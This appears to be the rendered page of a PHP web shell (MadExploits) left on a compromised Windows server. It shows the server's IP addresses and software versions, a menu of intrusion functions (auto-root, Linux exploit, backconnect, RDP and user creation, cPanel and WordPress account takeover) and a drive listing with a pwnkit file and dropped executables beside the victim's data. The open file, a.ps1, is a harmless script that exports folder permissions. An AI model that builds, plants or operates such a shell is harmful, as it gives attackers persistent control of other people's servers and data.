Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
E: /
[ HOME SHELL ]
Name
Size
Permission
Action
$RECYCLE.BIN
[ DIR ]
drwxrwxrwx
Microsoft SQL Server
[ DIR ]
drwxrwxrwx
System Volume Information
[ DIR ]
drwxrwxrwx
Workflow
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Notepad.exe
93
KB
-rwxrwxrwx
VC_redist.x64 (2).exe
24.31
MB
-rwxrwxrwx
a.ps1
2.51
KB
-rw-rw-rw-
erpnour
5.06
MB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
s.bak
3.58
MB
-rw-rw-rw-
system.exe
93
KB
-rwxrwxrwx
vc_redist.x64.exe
13.9
MB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : a.ps1
# 🔧 CONFIGURE THESE: $RootFolder = "E:\Workflow" # 👈 Replace with your shared folder path $OutputFile = "$([Environment]::GetFolderPath('Desktop'))\AllFolderPermissions.csv" # Ensure output directory exists $OutputDir = [System.IO.Path]::GetDirectoryName($OutputFile) if (-not (Test-Path $OutputDir)) { New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null } # 📊 Collect permissions recursively $Results = @() Write-Host "🔍 Scanning folder and subfolders under: $RootFolder" -ForegroundColor Cyan Get-ChildItem -Path $RootFolder -Recurse -Directory -Force -ErrorAction SilentlyContinue | ForEach-Object { $Folder = $_.FullName Write-Host " ➤ $Folder" -ForegroundColor Gray try { $Acl = Get-Acl -Path $Folder -ErrorAction Stop foreach ($Access in $Acl.Access) { $Results += [PSCustomObject]@{ Folder = $Folder IdentityReference = $Access.IdentityReference.ToString() FileSystemRights = $Access.FileSystemRights.ToString() AccessControlType = $Access.AccessControlType.ToString() IsInherited = $Access.IsInherited InheritanceFlags = $Access.InheritanceFlags.ToString() PropagationFlags = $Access.PropagationFlags.ToString() } } } catch { Write-Warning "⚠️ Failed to read ACL for $Folder : $_" } } # Also include the ROOT folder itself (not covered in -Recurse -Directory) Write-Host " ➤ $RootFolder (root)" -ForegroundColor Gray try { $Acl = Get-Acl -Path $RootFolder -ErrorAction Stop foreach ($Access in $Acl.Access) { $Results += [PSCustomObject]@{ Folder = $RootFolder IdentityReference = $Access.IdentityReference.ToString() FileSystemRights = $Access.FileSystemRights.ToString() AccessControlType = $Access.AccessControlType.ToString() IsInherited = $Access.IsInherited InheritanceFlags = $Access.InheritanceFlags.ToString() PropagationFlags = $Access.PropagationFlags.ToString() } } } catch { Write-Warning "⚠️ Failed to read ACL for root folder $RootFolder : $_" } # 📤 Export results $Results | Export-Csv -Path $OutputFile -NoTypeInformation -Encoding UTF8 Write-Host "✅ Done! Exported $($Results.Count) permission entries to:" -ForegroundColor Green Write-Host " $OutputFile"
Close